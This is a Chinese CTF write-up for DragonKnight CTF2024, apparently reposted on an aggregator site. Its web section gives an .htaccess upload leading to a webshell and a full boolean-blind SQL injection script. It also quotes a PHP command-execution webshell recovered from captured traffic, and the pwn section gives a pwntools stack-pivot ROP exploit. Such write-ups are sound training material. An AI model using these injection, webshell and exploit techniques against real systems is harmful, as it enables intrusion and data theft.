DragonKnight CTF2024部分wp

DragonKnight CTF2024部分wp

最终成果

在这里插入图片描述

又是被带飞的一天,偷偷拷打一下队里的pwn手,只出了一题

这里是我们队的wp

web

web就出了两个ez题,确实很easy,只是需要一点脑洞(感觉),

ezsgin

dirsearch扫一下就发现有index.php.bak文件,拿下来就有了index.php源码

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);
    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }
    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button οnclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="post" action="./login.php">
        <div>
            <label for="username">Username:</label>
            <input type="text" name="username" id="username" required>
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>
        </div>
        <div>
            <input type="submit" value="Login">
        </div>
    </form>
</body>
</html>
EOD;
    echo $html;
}
?>
<script>
    function displayInput() {
      var inputText = document.getElementById("input-text").value;
      document.write(inputText)
    }
</script>

这里有个文件上传的点,但是需要本地访问,本来想尝试看能不能xss搞ssrf,太菜了不会

那就自己构造上传,在index.php下面修改html,把源码里的上传表单加上去就行,然后bp拦截一下数据包,研究一下上传

发现没有对文件后缀名限制,但是上传php后apache不解析肯定要传.htaccess修改上传目录的apache文件解析设置,尝试了很多,最后发现php_flag engine 1可以,后面也提示了要修改文件解析引擎

在这里插入图片描述

上传后,蚁剑连接值钱传的webshell,查看flag即可

在这里插入图片描述

ezlogin

一开始要你登录,源码还提示有个注册的页面,注册后再登录,就提示you are not admin,当时还以为要ssrf,结果发现cookie里有个base64的token,解一下就是类似下面这个字典

{'username':'abc','token','32位长串','is_admin',0}

于是把is_admin改为1,再访问,就重定向到了home.php,回显了我这个账户的密码,后面把username改为admin,就提示我不要乱改用户名,看来会检验token,当时还以为token是服务端发的,就没管了

其实可以发现,给home.php传的数据只有上面那个cookie的字典,但是却能显示密码,所以我猜测有数据库查询,可能考二次注入,注册个hello'/**/and/**/1=1#的账户试试,

在这里插入图片描述

当时想跑一下fuzz,本来是想request或session先发一边请求拿到cookie,再去注入,结果测试了多次,response.headers里根本就没有Set-cookie

卡了半个多小时,后面发现token的长度是32位,猜测是username的md5,一试还真是,然后就可以fuzz测试了,测出来过滤了空格,union,< >以及很多可以用来时间盲注的函数,结合这里只返回user not found和密码的回显,所以这里就是布尔盲注,过滤了空格,用/**/可以绕,也不用注册来搞二次了,因为有自带一个admin用户

写脚本就完事了,脚本小子火速出击

import base64
import json
import requests
import hashlib
import time
port=32616
register_url=f'http://challenge.qsnctf.com:{port}/register.php'
login_url=f'http://challenge.qsnctf.com:{port}/login.php'
home_url=f'http://challenge.qsnctf.com:{port}/home.php'
Token={"username":"admin'/**/and/**/1=2#", "token":"bb89ba321a6adc27803fcd1f7ad8c094", "is_admin":1}
session=requests.session()
headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
    'Cache-Control': 'max-age=0',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://challenge.qsnctf.com:31208',
    'Proxy-Connection': 'keep-alive',
    'Referer': 'http://challenge.qsnctf.com:31208/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
}
blacklist=['+', 'handler', 'sleep', 'SLEEp', 'having', '-~', 'BENCHMARK', 'left', 'Left', 'right', 'Right', '--+', '--', '!', '%', '+', 'xor', '<>', '>', '<', '^', 'BY', 'By', 'CAST', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', 'left', 'right', 'union', 'UNIon', 'UNION', '"', '&', '&&', '||', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEFT', 'sleep', '|', 'ORDER', 'SET', 'THEN', 'UNION', 'WHEN', 'set', 'drop', 'inset', 'CAST', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'CREATE', 'DROP', 'floor', '%df', 'concat_ws()', 'concat', 'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'SET', 'updatexml', 'SHOW', 'THEN', 'benchmark', 'VARCHAR', 'WHEN', '`', '%0a', '%0A', '%0b', 'mid', 'REGEXP', 'RLIKE', 'sys schemma', 'XOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '%0c', '%0d', '%a0', '@', '%27', '%23', '%22', '%20']
def get_base64_str(dic):
    return base64.b64encode(json.dumps(dic).encode()).decode()
def get_dict_from_hex(target):
    hex_bytes = bytes.fromhex(target)
    ascii_str = hex_bytes.decode('ascii')
    base64_bytes = base64.b64decode(ascii_str)
    return base64_bytes.decode()

def get_hex_from_dict(dic):
    return get_base64_str(dic).encode('ascii').hex()

def fuzz():
    blacklist=[]
    with open('sql.txt','r') as file:
        for line in file:
            session=requests.session()
            Token['username']=line.strip()
            Token['token']=hashlib.md5(line.strip().encode()).hexdigest()
            res1=session.post(url=register_url,data=data,headers=headers,)
            TOKEN=get_hex_from_dict(Token)
            cookies={'TOKEN':TOKEN}
            res2=session.post(url=login_url,data=data,headers=headers,cookies=cookies)
            if 'Hacker' in res2.text:
                print(f'{line.strip()} is baned')
                blacklist.append(line.strip())
            time.sleep(1)
        print(blacklist)
        
        

def condition(username):
        Token['username']=username
        Token['token']=hashlib.md5(username.encode()).hexdigest()
        TOKEN=get_hex_from_dict(Token)
        cookies={'TOKEN':TOKEN}
        res2=session.get(url=home_url,headers=headers,cookies=cookies)           
        if 'Hacker' in res2.text:
                    print(f'{username} is not!')
                    return False
        if 'admin' in res2.text:
            return True
        return False
def get_tbs_name():
    """tbs_name=['user','secret']"""
    tb_num=2
    tbnames_list=[]
    # for i in range(50):
    #     username="admin'"
    #     username = username+f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#".replace(' ','/**/')
    #     Token['username']=username
    #     Token['token']=hashlib.md5(username.encode()).hexdigest()
    #     TOKEN=get_hex_from_dict(Token)
    #     cookies={'TOKEN':TOKEN}
    #     res2=session.get(url=home_url,headers=headers,cookies=cookies)
    #     if 'Hacker' in res2.text:
    #                 print(f'{username} is not!')
    #     if 'admin' in res2.text:
    #         tb_num=i
    #         break
    print(f'表数为{tb_num}')
    for i in range(tb_num):
        name=''
        name_length=0
        for j in range(30):
            username="admin'"+f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#".replace(' ','/**/')
            if condition(username):
                name_length=j
                print(f'长度为{j}')
                break
        for j in range(1,name_length+1):
            for k in range(33,127):
                username="admin'"+f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k}#".replace(' ','/**/')
                if condition(username):
                    name+=chr(k)
                    print(name)
                    break
        tbnames_list.append(name)
       
def get_columns_name():
    tbs_name=['user','secret'] 
    secrets_columns=[] #flag, sseeccrreett
    nums=2 #2
    #直接找secret的字段数
    # for i in range(30):
    #     username="admin'"+f" and {i}=(select count(column_name) from information_schema.columns where table_name='secret' and table_schema=database())#".replace(' ','/**/')
    #     if condition(username):
    #                 nums=i
    #                 print(nums)
    #                 break
    for i in range(nums):
        name_length=0
        name=''
        for j in range(30):
            username="admin'"+f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1)#".replace(' ','/**/')
            if condition(username):
                    name_length=j
                    print(f'长度为{name_length}')
                    break
        for j in range(1,name_length+1):
            for k in range(33,127):
                username="admin'"+f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1) ,{j},1))={k}#".replace(' ','/**/')
                if condition(username):
                    name+=chr(k)
                    print(name)
                    break
        secrets_columns.append(name)
        
def get_info():
    #看完发现两个字段都只有一个值,flag字段的值长为10,明显不对,sseeccrreett是40,应该是这个
    column='sseeccrreett'
    table='secret'
    nums=1 #1
    for i in range(30):
        username="admin'"+ f" and (select count({column}) from {table} )={i}#".replace(' ','/**/')
        if condition(username):
                   nums=i
                   print(nums)
                   break
    for i in range(nums):
        name_length=0
        for j in range(75):
            username="admin'"+f" and (select length({column}) from {table} limit {i},1 )={j}#".replace(' ','/**/')
            if condition(username):
                   name_length=j
                   print(name_length)
                   break
    flag=''
    for i in range(1,41):
        for k in range(33,127):
            username="admin'"+f" and ord(substr((select {column} from {table} limit 0,1),{i},1))={k}#".replace(' ','/**/')
            if condition(username):
                   flag+=chr(k)
                   print(flag)
                   break

get_info()

结果

在这里插入图片描述

misc

misc做的还行,雷姆那个脑洞题和队友研究了好久

签到

扫码就行

神秘文字

拿下来就有一个txt和一个压缩包,txt里有

𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``

这个一看就是javascript,真是神奇呢,其实也不难,直接放在浏览器运行会报错,一步步调试就发现是最后一行有问题

(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)

去掉最外面的那个东西,浏览器运行上面这个

在这里插入图片描述

八进制解码一下,就是压缩包密码,压缩包解压一下就是flag

Steal_data

其实这题当时没报多大希望,毕竟流量分析一点不会,但是误打误撞出了

拿到流量包,首先分析http,因为我只会看http(哭了)

在这里插入图片描述

关键词shell.phpcmd,这不就是webshell,追踪一下,就能看到webshell的源码

<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];

if ($choice == 'show_source'){
    show_source(__FILE__);
} else {
    echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight'), 0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result = $a($cmd);
$test = openssl_encrypt($result , "AES-128-ECB ", $key);
echo $test;

可以执行命令,c2hlbGxfZXhlYw==就是shell_exec,然后对命令执行的结果aes-128-ecb加密,加密的密钥,源码中也有了,解密一下命令执行的结果就行

然后最后一个命令的结果解密出来就是

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
         (97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
         (119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
         (115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
         (30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
         (71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
         (75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
         (9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
         (88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
         (59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
         (101 ,82) ,(0 ,82) ,(82 ,125)
         ]

然后题目提示要找最短路径啥的,然而,数据结构稀烂,根本不会,问gpt出了,结果列表的每个数字转ascii,就是flag

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
         (97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
         (119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
         (115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
         (30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
         (71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
         (75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
         (9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
         (88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
         (59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
         (101 ,82) ,(0 ,82) ,(82 ,125)
         ]

# 将边列表转换为图
G = nx.Graph()
G.add_edges_from(lujin)
# 找到最短路径
shortest_path = nx.shortest_path(G, source=102, target=125)
flag=''
for p in shortest_path:
    flag+=chr(p)
print(flag)

func_pixels

本来我一个人想了好久,结果我队友路过看到我在研究雷姆,果然加入一起研究,研究了半个多小时就出了

题目提示像素很奇怪,(0,0)是怎么回事,然后我就打印了一下(0,0)的RGB值,都挺小的,**转了ascii发现是DBK!**这不就是flag头嘛

果断用画图打开图片,拖到最左上方,发现了端倪,那里有很多不和谐的像素

在这里插入图片描述

题目还给了平方的式子提示,然后就观察(0,0),(1,1),(2,4),(3,9)…直到(9,81),发现这些像素跟周围格格不入

但是左上角这里还有很多不和谐的,观察一下发现是(2,2),(3,3)…(9,9)以及(2,8),(3,27)…(9,727)

然后打印了一下这些不和谐点的rgb值

在这里插入图片描述

如图,发现了很多重复值,其中紫色123是{,125是},所以一定是起点和终点,然后就去三个部分中没有重复的数据即可

一开始是先取完一次放的R,再去取二次方的G,这样发现是错的,最后尝试一次方R取一个,2次方G取一个,3次方B取一个,一个循环就出了

from PIL import Image
from collections import Counter

# 打开图像文件
image_path = "1.png"  # 请替换为你的图像文件路径
image = Image.open(image_path)

# 获取图像的宽度和高度
width, height = image.size

r, g, b = image.getpixel((0, 0))
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(0, 0, r, g, b))
print(chr(r),chr(g),chr(b))

flag = []
for x in range(0,2):
    r, g, b = image.getpixel((x, x*x))
    try:
        print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(x, x*x, r, g, b))
        flag.append(r)
        flag.append(g)
        flag.append(b)
    except:
        continue

flag = []
for x in range(10):
    r, g, b = image.getpixel((x, x))
    flag.append(r)
    r, g, b = image.getpixel((x, x*x))
    flag.append(g)
    r, g, b = image.getpixel((x, x*x*x))
    flag.append(b)

flags = ""
for num in flag:
    if num >= 32 and num <= 126:
        print("ASCII character for {} is {}".format(num, chr(num)))
        flags += chr(num)
    else:
        print("Hexadecimal value for {} is {}".format(num, hex(num)))
        
print(flags)
#DRKCTF{HAHAHAHA_LeiMuIsSoCute}

雷姆确实很可爱

crypto


密码学签到LCG

第一次学LCG算法,主要参考下面的文章,题目与平常不同的是一次性调用两次
LCG-CTF #CSDN
注意在算出 a 之后还要进行开方操作
S n + 1 ≡ a S n + b   ( m o d   m ) S n + 2 ≡ a 2 S n + a b + b   ( m o d   m ) 令  T n + 1 = a 2 T n + a b + b ( m o d   m ) T n = ( T n + 1 − a b − b ) ∗ ( a 2 ) − 1 ( m o d   m ) S_{n+1} \equiv aS_n+b\ (mod\ m)\\ S_{n+2} \equiv a^2S_n+ab+b\ (mod\ m)\\ 令\ T_{n+1} =a^2T_n+ab+b(mod \ m)\\ T_n=(T_{n+1}-ab-b)*(a^2)^{-1}\quad(mod \ m) Sn+1aSn+b (mod m)Sn+2a2Sn+ab+b (mod m) Tn+1=a2Tn+ab+b(mod m)Tn=(Tn+1abb)(a2)1(mod m)

解出 a, b, m 之后就可以使用逆推公式进行逆推
只进行了最多 2^16 次操作,穷举即可

from math import gcd
from functools import reduce
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse, sqrt_mod

outputs = [
    5944442525761903973219225838876172353829065175803203250803344015146870499,
    141002272698398325287408425994092371191022957387708398440724215884974524650,
    42216026849704835847606250691811468183437263898865832489347515649912153042,
    67696624031762373831757634064133996220332196053248058707361437259689848885,
    19724224939085795542564952999993739673429585489399516522926780014664745253,
]
def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return modulus

def crack_unknown_multiplier(states, m):
    multiplier = (states[2] - states[1]) * mod_inverse(states[1] - states[0], m) % m
    return multiplier

def degenerate(nextSeed, a, b, m):
    seed = ((nextSeed - a * b - b) * mod_inverse(a * a, m)) % m
    return seed

# print("m=", crack_unknown_modulus(outputs))
m = 155908129777160236018105193822448288416284495517789603884888599242193844951

X0 = outputs[0]
X1 = outputs[1]
X2 = outputs[2]
# a2 = crack_unknown_multiplier([X0, X1, X2], m)
# a = sqrt_mod(a2, m, all_roots=True)
# a= [60728410741559651595837076320918940692717582926393871702586056157132924440, 95179719035600584422268117501529347723566912591395732182302543085060920511]
a = 60728410741559651595837076320918940692717582926393871702586056157132924440

# b = ((X1 - a * a * X0) * mod_inverse(a + 1, m)) % m
b = 31006403622243178411942737943535530004679293793891742767612321661881499410

generated = X0
for _ in range(2**16):
    generated = degenerate(generated, a, b, m)
    if b"flag" in long_to_bytes(generated):
        print("Seed:", generated)
        print("Flag:", long_to_bytes(generated))

'''
Seed: 531812496965506450888444937267070589
Flag: b'flag{Hello_CTF}'
'''

MatrixRSA

矩阵RSA题目,之前没见过,用平常的 d 无法解密
上网搜到 A Matrix Extension of the RSA Cryptosystem 这篇论文
g = ∏ k = 0 s − 1 ( p s − p k ) ⋅ ∏ k = 0 s − 1 ( q s − q k ) g=\prod_{k=0}^{s-1}(p^s-p^k)\cdot \prod_{k=0}^{s-1}(q^s-q^k) g=k=0s1(pspk)k=0s1(qsqk)
读了一下论文,按照里面的方法,用sage计算出 g d 即可解密

from Crypto.Util.number import *

e = 65537
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [...] # 省略

n = p * q
phi = (p^4-1)*(p^4-p)*(p^4-p^2)*(p^4-p^3)*(q^4-1)*(q^4-q)*(q^4-q^2)*(q^4-q^3)
d = inverse(e, phi)

M = matrix(Zmod(n), C)
m = M ^ d

flag = b""
flag += long_to_bytes(int(m[0, 0]))
flag += long_to_bytes(int(m[0, 1]))
flag += long_to_bytes(int(m[0, 2]))

print(flag)
# b'DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}V%\x17\xf1'

pwn

stack

很明显的只溢出了0x8字节,并且还直白说了stack pivoting,但是发现唯一能标志栈的esp和rsp没有用,然后,就卡了一整天。。。

直到终于翻到一篇文章https://blog.csdn.net/hackzkaq/article/details/134457518

不得不说,一下就点醒了我,read函数的调用原来就是最好的利用,然后就先让程序read跳转输入到bss段上,再在bss段上迁移的栈上直接写泄漏的rop链,链结尾再写一次read,还用这个栈继续的结尾,直接写到one_gadget就行了,前面的r12置0直接照抄文章,就连地址都一样(还没怎么懂read两次怎么劫持栈到bss上的,不过后面攻击的思路倒很清晰,骄傲)

exp:

from pwn import *

# io = process("./pwn")
io = remote("challenge.qsnctf.com", 32201)

context.terminal = 'kitty'

elf = ELF('./pwn')
libc = elf.libc

io.recv()

bss = 0x404040 + 0x100

payload = b'A'*0x100 + p64(bss) + p64(0x40119B)
io.send(payload)
payload = b'B'*0x100 + p64(bss + 0x100) + p64(0x40119B)
io.send(payload)
payload = p64(bss + 0x100 + 0x10) + p64(0x0000000000401210) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40119B)
io.send(payload)

libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
r12 = 0x000000000002f709+libcbase
og = libcbase + 0xe3afe
# 0xe3b01 0xe3b04

payload = b'A'*0x20 + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 

io.send(payload)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/646694.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

让大模型变得更聪明三个方向

让大模型变得更聪明三个方向 随着人工智能技术的飞速发展&#xff0c;大模型在多个领域展现出了前所未有的能力&#xff0c;但它们仍然面临着理解力、泛化能力和适应性等方面的挑战。那么&#xff0c;如何让大模型变得更聪明呢&#xff1f; 方向一&#xff1a;算法创新 1.1算…

【ML Olympiad】预测地震破坏——根据建筑物位置和施工情况预测地震对建筑物造成的破坏程度

文章目录 Overview 概述Goal 目标Evaluation 评估标准 Dataset Description 数据集说明Dataset Source 数据集来源Dataset Fields 数据集字段 Data Analysis and Visualization 数据分析与可视化Correlation 相关性Hierarchial Clustering 分层聚类Adversarial Validation 对抗…

linux系统部署Oracle11g:netca成功启动后1521端口未能启动问题

一、问题描述 执行netca命令&#xff0c;进入图形化界面&#xff0c;进行Oracle端口监听设置 #终端输入命令 netca 最终提示设置成功&#xff1a; 但是我们进行下一步“创建数据库”的时候会报错&#xff0c;说数据库端口1521未开启&#xff01; 二、问题处理 使用命令查看开…

【Python特征工程系列】一文教你使用PCA进行特征分析与降维(案例+源码)

这是我的第287篇原创文章。 一、引言 主成分分析&#xff08;Principal Component Analysis, PCA&#xff09;是一种常用的降维技术&#xff0c;它通过线性变换将原始特征转换为一组线性不相关的新特征&#xff0c;称为主成分&#xff0c;以便更好地表达数据的方差。 在特征重要…

【kubernetes】陈述式资源管理的kubectl命令合集

目录 前言 一、K8s 资源管理操作方式 1、声明式资源管理方式 2、陈述式资源管理方式 二、陈述式资源管理方式 1、kubectl 命令基本语法 2、查看基本信息 2.1 查看版本信息 2.2 查看资源对象简写 2.3 配置kubectl命令自动补全 2.4 查看node节点日志 2.5 查看集群信息…

Windows下安装配置深度学习环境

Windows下安装配置深度学习环境 1. 准备工作 1.1 环境准备 操作系统&#xff1a;win10 22H2 GPU&#xff1a;Nvidia GeForce RTX 3060 12G 1.2 安装Nvidia驱动、cuda、cuDNN 下载驱动需要注册并登录英伟达账号。我这里将下面用到的安装包放到了百度网盘&#xff0c;可以关注微信…

【Linux杂货铺】进程通信

目录 &#x1f308; 前言&#x1f308; &#x1f4c1; 通信概念 &#x1f4c1; 通信发展阶段 &#x1f4c1; 通信方式 &#x1f4c1; 管道&#xff08;匿名管道&#xff09; &#x1f4c2; 接口 ​编辑&#x1f4c2; 使用fork来共享通道 &#x1f4c2; 管道读写规则 &…

智能家居完结 -- 整体设计

系统框图 前情提要: 智能家居1 -- 实现语音模块-CSDN博客 智能家居2 -- 实现网络控制模块-CSDN博客 智能家居3 - 实现烟雾报警模块-CSDN博客 智能家居4 -- 添加接收消息的初步处理-CSDN博客 智能家居5 - 实现处理线程-CSDN博客 智能家居6 -- 配置 ini文件优化设备添加-CS…

fastadmin 树状菜单展开,合并;简要文件管理系统界面设计与实现

一&#xff0c;菜单合并效果图 源文件参考&#xff1a;fastadmin 子级菜单展开合并、分类父级归纳 - FastAdmin问答社区 php服务端&#xff1a; public function _initialize() {parent::_initialize();$this->model new \app\admin\model\auth\Filetype;$this->admin…

粤嵌—2024/5/21—打家劫舍(✔)

代码实现&#xff1a; int rob(int *nums, int numsSize) {if (numsSize 1) {return nums[0];}if (numsSize 2) {return fmax(nums[0], nums[1]);}int dp[numsSize];dp[0] nums[0];dp[1] fmax(nums[0], nums[1]);for (int i 2; i < numsSize; i) {dp[i] fmax(dp[i - 1…

东方通TongWeb结合Spring-Boot使用

一、概述 信创需要; 原状:原来的服务使用springboot框架,自带的web容器是tomcat,打成jar包启动; 需求:使用东方通tongweb来替换tomcat容器; 二、替换步骤 2.1 准备 获取到TongWeb7.0.E.6_P7嵌入版 这个文件,文件内容有相关对应的依赖包,可以根据需要来安装到本地…

vue/core源码中ref源码的js化

起源&#xff1a; 当看见reactivity文件中的ref.ts文件长达五百多的ts代码后&#xff0c;突发奇想想看下转化成js有多少行。 进行转化&#xff1a; let shouldTrack true; // Define shouldTrack variable let activeEffect null; // Define activeEffect variable// 定义…

Android9.0 MTK平台如何增加一个系统应用

在安卓定制化开发过程中&#xff0c;难免遇到要把自己的app预置到系统中&#xff0c;作为系统应用使用&#xff0c;其实方法有很多&#xff0c;过程很简单&#xff0c;今天分享一下我是怎么做的&#xff0c;共总分两步&#xff1a; 第一步&#xff1a;要找到当前系统应用apk存…

【数据结构与算法 经典例题】判断链表是否带环

